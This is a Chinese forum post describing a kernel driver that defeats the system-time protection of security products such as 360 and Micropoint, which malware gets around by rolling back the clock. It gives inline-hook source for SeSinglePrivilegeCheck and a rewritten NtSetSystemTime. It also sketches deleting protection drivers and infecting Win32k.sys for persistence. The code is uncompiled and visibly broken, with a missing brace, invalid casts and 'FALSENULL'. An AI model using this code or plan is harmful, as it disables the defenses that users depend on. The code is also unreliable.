置顶:在家装DDK死活装不上,装vc 6.0也出错,256的小内存跑啊跑;作罢,一个月内不能编译驱动
心情:想哭...
主题
  探讨修改系统时间(R0),anti所有的安全软件(eg: 360TimeProt.sys, Micropoint,antiarp.sys...)
  

正文
 
<一> 
     关于修改系统时间不是突发奇想的,之前好多病毒木马都是把时间调到很久以前来使部分安全软件过期(eg 卡巴,微点),用的伎俩不过是调用R3的几个API,或者直接来个bat,改改注册表之类的...

     所以很多安全软件意识到这点.先出手的便是360安全卫士,不过大致看来也就是HOOK SSDT中的ZwSetSystemTime,只要能恢复SSDT(若能顺利加载驱动,恢复就简单啦.若在R3,想获得系统高2GB的地址访问权限是越来越难咯,好多HIPS都封的死死的; 当然不排除利用重启的时间加载驱动,或者感染Win32k.sys、利用第3方软件的漏洞提升权限...晕,偏题了 ),也就破除了它的屏障. 对于微点这样有个KTIMER的就需要投递APC了...

    不过恢复SDT毕竟不是最好的办法,所以我们绕过SDT,自己实现ZwSetSystemTime,甚至KeSetSyetemTime,这样就可以修改时间了(但最终是系统在R0不断改变SharedUserData 这个区域里面的系统时间.我们也可以直接修改这个R0、R3共享区来达到修改锁定时间的目的;或者直接写进CMOS).
  
btw:关于360TimeProt.sys,已有好多大牛逆出了源码,原理很简单,给个链接科普:
http://www.debugman.com/read.php?tid=770

------------------------------------------------------------------------------------------------  
<二>
  关于ZwSetSystemTime的执行流程,偶还是简单的说下吧,虽然笔记记了一大堆,但又不能直接copy出来,还得慢慢打...

NTSTATUS
NTAPI
NtSetSystemTime(
  IN PLARGE_INTEGER SystemTime,   // 需要设置的时间
  OUT PLARGE_INTEGER PreviousTime OPTIONAL // 保存以前的时间
  )
/*++
调用ExGetPreviousMode得到当前的PreviousMode,检查其是R0 or R3.
if(PreviousMode != KernelMode) {...}但不管是哪个,目的都是把传进来的SystemTime赋予给一个LARGE_INTEGER 局部变量 NewSystemTime(只不过R3下需要进一步的安全检测,保证传进来的参数在R0中可读,传出去的参数在R0中可写,用到ProbeForReadLargeIntegerProbeForWriteLargeInteger)-->接下来的一步很关键,调用SeSinglePrivilegeCheck函数来检查当前用户是否有权限修改系统时间(参见WRK和IDA; Windbg出来的见下)--> 转化时间并set it in HAL,调用3个函数:ExSystemTimeToLocalTimeRtlTimeToTimeFieldsHalSetRealTimeClock-->最后调用KeSetSystemTime来设置系统时间,若传进来的PreviousTime有效,则把旧的时间装在它里面,返回status
--*/

/*
lkd> u 808a1f7e l 45
nt!SeSinglePrivilegeCheck:
808a1f7e 8bff            mov     edi,edi   ;  偶就修改了这开头5字节的内容
808a1f80 55              push    ebp       ;  太容易被查出来咯; 不过可以自己再
808a1f81 8bec            mov     ebp,esp   ;  深入深入~
808a1f83 83ec24          sub     esp,24h
808a1f86 8365ec00        and     dword ptr [ebp-14h],0
808a1f8a 33c0            xor     eax,eax
808a1f8c 40              inc     eax
808a1f8d 8945dc          mov     dword ptr [ebp-24h],eax
808a1f90 8945e0          mov     dword ptr [ebp-20h],eax
808a1f93 8b4508          mov     eax,dword ptr [ebp+8]
808a1f96 8945e4          mov     dword ptr [ebp-1Ch],eax
808a1f99 8b450c          mov     eax,dword ptr [ebp+0Ch]
808a1f9c 8945e8          mov     dword ptr [ebp-18h],eax
808a1f9f 8d45f0          lea     eax,[ebp-10h]
808a1fa2 50              push    eax
808a1fa3 e84cbdffff      call    nt!SeCaptureSubjectContext (8089dcf4)
808a1fa8 ff7510          push    dword ptr [ebp+10h]
808a1fab 8d45f0          lea     eax,[ebp-10h]
808a1fae 50              push    eax
808a1faf 8d45dc          lea     eax,[ebp-24h]
808a1fb2 50              push    eax
808a1fb3 e8a0bcffff      call    nt!SePrivilegeCheck (8089dc58)
...
*/


而我这里的思路是关注SeSinglePrivilegeCheck,在它里面实现inline hook来拒绝其他进程修改系统时间. 注意看WRK

BOOLEAN STDCALL
SeSinglePrivilegeCheck (
  IN LUID PrivilegeValue,
  IN KPROCESSOR_MODE PreviousMode
  )

全局变量SeSystemtimePrivilege从LARGE_INTEGER转化为LUID后作为其参数,我们只要在自己的函数中判断它就可以达到效果啦.



对于KeSetSystemTime,它主要是修改0xffdf0000区域:

/* Set the new system time */
SharedUserData->SystemTime.LowPart = NewTime->LowPart;
SharedUserData->SystemTime.High1Time = NewTime->HighPart;
SharedUserData->SystemTime.High2Time = NewTime->HighPart;

然后Update system boot time

/* Calculate the difference between the new and the old time */
DeltaTime.QuadPart = NewTime->QuadPart - OldTime->QuadPart;
KeBootTime.QuadPart += DeltaTime.QuadPart;
KeBootTimeBias = KeBootTimeBias + DeltaTime.QuadPart;

引用:
SharedUserData 是操作系统为每个进程提供的个共享数据结构,里面存放有很多重要的系统信息,如TickCount、系统时间、SystemRoot等...

其在DDK定义为:
#define KI_USER_SHARED_DATA         0xffdf0000
#define SharedUserData  ((KUSER_SHARED_DATA * const) KI_USER_SHARED_DATA)

它在内核中的地址是0xffdf0000,操作系统通过共享映射把这个结构以只读方式映射到每个进程的0×7ffe0000的地方。
当然从KeSetSystemTime下手也是可以的.这样更深一层.
--------------------------------------------------------------------------------
<三>
综上,写了个inine hook SeSinglePrivilegeCheck的驱动.因为无DDK编译,所以只有代码,不过应该能编译通过,思路出来了,代码也有了,编译调试需要你自己去弄了(如果调试通过了,麻烦把sys帖出来哦,谢谢了啊 )

/*******************************************************************************
* Name   : AntiTimeProtected.c
* Author : sudami [xiao_rui_119@163.com]  
* Time   : 08/01/24    v 1.0

* Comment:
*                   
*  ZwSetSystemTime |-->SeSinglePrivilegeCheck-->SePrivilegeCheck
*                  |-->KeSetSyetemTime
*
*  修改并锁定系统时间,fuck all the "time protected" Software...
*
*  1. 自己实现ZwSetSystemTime
*  2. inline hook系统的SeSinglePrivilegeCheck函数.在其内部的某个地方
*  跳转到定义的fake函数中,判断传进来的第一个参数--PrivilegeValue.若为
*  SeSystemtimePrivilege,则返回FALSE,表明当前用户无权限修改系统时间;
*  否则跳转到原函数中继续执行.[如果在函数的开头5字节修改,可能不需要考
*  虑堆栈平衡.但若深入到内部再跳转,可能需要自己去平衡堆栈.所以要仔细
*  考虑. 当然可以多处inlieHOOK,eg.进到SePrivilegeCheck.
*  3. FSD强行删除保护时间的驱动,生成相同驱动占炕 
*  4. 启动一个thread反复inline HOOK, 另一个thread不断检测KTIMER是否被摘除
*  5. 感染Win32k.sys,随系统启动sys.定期修改系统时间(需要在自己的inline 
*  hook中排除自己)
*
*  btw: 
*  修改系统时间最终是系统在R0不断改变SharedUserData 这个区域里面的系统时间.我们
*  也可以直接修改这个R0、R3共享区来达到修改锁定时间的目的;或者直接写进CMOS...
*  偶很菜,就写个肤浅的练练手,嘿嘿~
*
*                          <要解决的问题>
*  1. 得到SeSinglePrivilegeCheck、ExSystemTimeToLocalTime、RtlTimeToTimeFileds、
*  HalSetRealTimeClock、KeSetSyetemTime在系统中的实际地址-->映射ntoskrnl.exe到
*  进程的虚拟地址空间,遍历EAT得到部分导出函数的RVA(或者根据重定位信息,IDA反汇编
*  ntoskrnl.exe,得到和指定函数相关的2进制,在reloc中搜索之),再加上系统内核的地址
*  这样就得到这些函数的实际地址啦.
*  2. 锁定系统时间中,需要考虑可能的堆栈平衡 
*
********************************************************************************/



关键部分如下:

//
// 开始inline hook
//
void StartHook ()

    // 保存原函数的前5字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)SeSinglePrivilegeCheck, 5);
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_SeSinglePrivilegeCheck - (ULONG)SeSinglePrivilegeCheck - 5;
    
    // 禁止系统写保护,提升IRQL到DPC,然后在PspTerminateThreadByPointer中实现Inline Hook
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    
    // 替换SeSinglePrivilegeCheck的前5字节
    RtlCopyMemory ( (BYTE*)SeSinglePrivilegeCheck, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)SeSinglePrivilegeCheck + 5 );
    
    RtlCopyMemory ( (BYTE*)Proxy_SeSinglePrivilegeCheck, g_OrigCode, 5);
    RtlCopyMemory ( (BYTE*)Proxy_SeSinglePrivilegeCheck + 5, jmp_orig_code, 7);
    
    KeLowerIrql(oldIrql);
    
    WPON();

    g_bHooked = TRUE;
}

//
// 停止inline hook
//
void StopHook ()
{
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    
    RtlCopyMemory ( (BYTE*)SeSinglePrivilegeCheck, g_OrigCode, 5 );

    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = FALSE;
}

//
// 跳转到我们的函数里面进行预处理
//
BOOLEAN 
__stdcall 
fake_SeSinglePrivilegeCheck (
  IN LUID PrivilegeValue,
  IN KPROCESSOR_MODE PreviousMode
  )
{
    BOOLEAN Result;

    if (PrivilegeValue == (LUID) SeSystemtimePrivilege) {

        // 有进程想设置系统时间了.返回FALSE
        // 这个可以加个判断以排除自身进程,使自己可以修改时间
        return FALSE;
    }

    Result = Proxy_SeSinglePrivilegeCheck (PrivilegeValue, PreviousMode);

    return Result;
}

//
// 代理函数,负责跳转到原函数中继续执行
//
__declspec (naked
BOOLEAN
Proxy_SeSinglePrivilegeCheck(
  IN LUID PrivilegeValue,
  IN KPROCESSOR_MODE PreviousMode
  )
{
    __asm {  // 共12字节
        _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 前5字节实现原函数的头5字节功能
            _emit 0x90  // 这个填充jmp
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 这4字节保存原函数+5处的地址
            _emit 0x90  
            _emit 0x90  // 因为是长转移,所以必须是 0x0080
    }
}

////////////////////////////////////  √   /////////////////////////////////////////// 
void
fake_NtSetSystemTime (
  IN PLARGE_INTEGER SystemTime
  )

/*++
          
Author : sudami [xiao_rui_119@163.com]
Time   : 08/01/24
            
参数 :
  SystemTime - [IN] 需要设置的系统时间
            
返回 : NULL

              
功能 : 
  自己实现NtSetSystemTime,其实就是对真实NtSetSystemTime函数的简化.
  调用几个其他函数而已并非完全自己实现.
                
--*/

{
    // 省去判断是R0还是R3调用,因为函数本身在R0中执行
    LARGE_INTEGER OldSystemTime;
    LARGE_INTEGER NewSystemTime;
    LARGE_INTEGER LocalTime;
    TIME_FIELDS TimeFields;
    KPROCESSOR_MODE PreviousMode;

    PreviousMode  = KeGetCurrentThread()->PreviousMode;
    NewSystemTime = (LARGE_INTEGER) ExAllocatePool (NonPagedPool, sizeof(LARGE_INTEGER));
    OldSystemTime = (LARGE_INTEGER) ExAllocatePool (NonPagedPool, sizeof(LARGE_INTEGER));
    LocalTime     = (LARGE_INTEGER) ExAllocatePool (NonPagedPool, sizeof(LARGE_INTEGER));
    TimeFields    = (TIME_FIELDS)   ExAllocatePool (NonPagedPool, sizeof(TIME_FIELDS));

    NewSystemTime = *SystemTime;

    /* Make sure we have permission to change the time */
    if (!SeSinglePrivilegeCheck (SeSystemtimePrivilege, PreviousMode)) {
        return;
    }

    /* Convert the time and set it in HAL */
    ExSystemTimeToLocalTime (&NewSystemTime, &LocalTime);
    RtlTimeToTimeFields (&LocalTime, &TimeFields);
    HalSetRealTimeClock (&TimeFields);

    /* Now set system time */
    KeSetSystemTime (&NewSystemTime, &OldSystemTime, FALSENULL);

    ExFreePool (NewSystemTime);
    ExFreePool (OldSystemTime);
    ExFreePool (LocalTime);
    ExFreePool (TimeFields);
}
上传的附件 Inline HOOK SeSinglePrivilegeCheck.rar